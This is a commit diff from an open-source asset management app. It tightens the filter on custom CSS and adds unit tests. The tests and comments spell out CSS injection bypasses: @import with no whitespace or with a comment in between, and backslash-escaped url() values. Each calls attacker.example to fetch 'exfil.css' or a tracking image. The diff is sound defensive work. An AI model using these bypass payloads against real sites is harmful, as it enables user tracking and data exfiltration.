A free open source IT asset/license management system
Better handle imports in custom CSS
snipe7b4556217abf
diff --git a/app/Models/Setting.php b/app/Models/Setting.phpindex 89c7d7b5a7..12e8846bf1 100755--- a/app/Models/Setting.php+++ b/app/Models/Setting.php@@ -258,7 +258,7 @@ class Setting extends Model}// Superuser-planted CSS renders inside <style> on every layout for- // every other superuser, so the sanitize step has to hold up as a+ // every user, so the sanitize step has to hold up as a// CSS filter, not just an HTML filter. Two abuse primitives to// shut down://@@ -273,17 +273,36 @@ class Setting extends Model// absolute or protocol-relative URL. Same-origin relative paths// under /uploads/ etc. are fine for legit branding assets.//- // strip_tags belt-and-braces guards against injection reaching a+ // strip_tags guards against injection reaching a// context that treats < as an HTML boundary. The old encode-then-// selectively-decode chain silently undid its own work on > and "// and did not touch either @import or url(), so it's gone.$custom_css = strip_tags($custom_css);- $custom_css = preg_replace('/@import\s+[^;]*;?/i', '', $custom_css);++ // \b (word boundary) instead of \s+ so `@import"url"` and+ // `@import/*c*/"url"` — both valid CSS tokenizations that a+ // \s+ pattern would leave in place — still get stripped. `\b`+ // sits between the `t` of `@import` and any non-word character+ // that follows (string quote, `/`, whitespace, etc.), so any+ // legal CSS token immediately after the at-keyword triggers+ // the match. `@importfoo` won't match (no word boundary+ // between two word chars), and `@importfoo` isn't a valid CSS+ // at-rule anyway.+ $custom_css = preg_replace('/@import\b[^;]*;?/i', '', $custom_css);$custom_css = preg_replace_callback('/\burl\s*\(\s*([^)]*)\)/i',function (array $match): string {$value = trim($match[1], " \t\n\r\"'");- if ($value === '' || preg_match('#^(https?:)?//|^data:|^javascript:|^vbscript:#i', $value)) {++ // Reject any url() value containing a backslash. CSS lets+ // you write `\2F\2F attacker.example` or `\/\/ attacker.example`+ // and the browser resolves those escape sequences to+ // `//attacker.example` at render time. Testing the raw+ // literal against the scheme regex below would miss the+ // bypass.+ if ($value === ''+ || str_contains($value, '\\')+ || preg_match('#^(https?:)?//|^data:|^javascript:|^vbscript:#i', $value)) {return '';}diff --git a/tests/Unit/Models/SettingCustomCssTest.php b/tests/Unit/Models/SettingCustomCssTest.phpindex f770e91606..0704046c8e 100644--- a/tests/Unit/Models/SettingCustomCssTest.php+++ b/tests/Unit/Models/SettingCustomCssTest.php@@ -102,4 +102,49 @@ class SettingCustomCssTest extends TestCase$this->assertSame('', $out);}++ // The regex previously required at least one whitespace character+ // between @import and the following token. CSS tokenizes @import+ // followed by a string, url(), or ident as a valid at-rule with+ // no whitespace required, so the bare-quote form below reached+ // the browser untouched under the old pattern.+ public function test_import_at_rule_without_whitespace_is_stripped(): void+ {+ $out = $this->withCustomCss('@import"https://attacker.example/exfil.css";');++ $this->assertStringNotContainsString('@import', $out);+ $this->assertStringNotContainsString('attacker.example', $out);+ }++ // CSS strips comments during tokenization, so @import/*x*/"url"+ // is equivalent to @import "url". The previous \s+ pattern didn't+ // treat comment tokens as whitespace, so the payload survived.+ public function test_import_at_rule_with_comment_between_is_stripped(): void+ {+ $out = $this->withCustomCss('@import/*comment*/"https://attacker.example/exfil.css";');++ $this->assertStringNotContainsString('@import', $out);+ $this->assertStringNotContainsString('attacker.example', $out);+ }++ // url() values are subject to CSS escape decoding. `\2F` decodes+ // to `/`, so `\2F\2F attacker.example` becomes `//attacker.example`+ // at browser render time. The scheme regex previously ran against+ // the raw pre-decode literal and missed the bypass.+ public function test_backslash_hex_escaped_protocol_relative_url_is_stripped(): void+ {+ $out = $this->withCustomCss('body { background: url("\2F\2F attacker.example/track.png"); }');++ $this->assertStringNotContainsString('attacker.example', $out);+ }++ // Second CSS escape shape: `\X` where X is any non-hex char+ // produces X literally. `\/\/attacker.example` decodes to+ // `//attacker.example`. Same class of bypass, different escape form.+ public function test_backslash_char_escaped_protocol_relative_url_is_stripped(): void+ {+ $out = $this->withCustomCss('body { background: url("\/\/attacker.example/track.png"); }');++ $this->assertStringNotContainsString('attacker.example', $out);+ }}